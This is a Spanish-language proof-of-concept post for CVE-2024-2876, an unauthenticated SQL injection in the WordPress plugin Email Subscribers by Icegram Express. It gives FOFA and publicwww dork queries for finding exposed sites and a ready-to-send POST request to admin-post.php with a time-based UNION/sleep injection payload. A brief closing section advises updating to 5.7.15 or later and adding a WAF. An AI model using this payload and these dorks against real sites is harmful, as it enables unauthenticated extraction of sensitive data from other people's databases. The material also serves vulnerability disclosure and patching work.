
Prueba de concepto para CVE-2024-2876, una inyección SQL no autenticada en el plugin de WordPress Email Subscribers, con consultas dork y una solicitud de exploit funcional.
#Descripción de la vulnerabilidad: El plugin Email Subscribers by Icegram Express – Email Marketing, Newsletters, Automation for WordPress & WooCommerce para WordPress es vulnerable a inyección SQL a través de la función 'run' de la clase 'IG_ES_Subscribers_Query' en todas las versiones hasta la 5.7.14, inclusive, debido a un escape insuficiente en el parámetro proporcionado por el usuario y a la falta de preparación suficiente en la consulta SQL existente. Esto hace posible que atacantes no autenticados añadan consultas SQL adicionales a consultas ya existentes que pueden utilizarse para extraer información sensible de la base de datos.
#Dork: 1- FOFA : body="/wp-content/plugins/email-subscribers/" 2- publicwww : "/wp-content/plugins/email-subscribers/"
#POC: POST /wp-admin/admin-post.php HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded
page=es_subscribers&is_ajax=1&action=_sent&advanced_filter[conditions][0][0][field]=status=99924)))union(select(sleep(4)))--+&advanced_filter[conditions][0][0][operator]==&advanced_filter[conditions][0][0][value]=1111
#POC en Youtube: https://www.youtube.com/watch?v=eDEGt_yXyvE
#¿Cómo solucionarlo? Dado que todas las versiones hasta la 5.7.14 fueron detectadas con el CVE, se recomienda a los usuarios actualizar el plugin Email Subscribers by Icegram Express a la versión 5.7.15 (o la versión más reciente 5.7.19). Los usuarios de Patchstack tienen la opción de habilitar actualizaciones automáticas específicamente para plugins vulnerables. Implementar una solución WAF/WAAP como capa adicional de protección. La ventaja de este tipo de soluciones es que, incluso si la vulnerabilidad es nueva y desconocida (0-day), aún puede prevenir ataques detectando patrones y técnicas de explotación.